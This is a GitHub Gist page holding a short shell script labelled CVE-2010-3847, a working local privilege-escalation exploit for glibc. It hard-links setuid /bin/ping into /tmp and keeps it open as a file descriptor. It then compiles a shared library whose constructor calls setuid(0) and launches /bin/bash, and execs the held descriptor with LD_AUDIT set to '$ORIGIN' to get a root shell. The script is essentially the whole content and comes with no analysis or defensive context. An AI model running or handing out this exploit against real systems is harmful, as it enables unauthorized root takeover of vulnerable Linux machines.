Created
October 21, 2010 13:19
-
-
Save hamano/638467 to your computer and use it in GitHub Desktop.
CVE-2010-3847
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
mkdir /tmp/exploit | |
ln /bin/ping /tmp/exploit/target | |
exec 999< /tmp/exploit/target | |
rm -rf /tmp/exploit/ | |
echo 'void __attribute__((constructor)) init(){setuid(0);system("/bin/bash");}' | gcc -w -fPIC -shared -o /tmp/exploit -xc - | |
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/999 | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment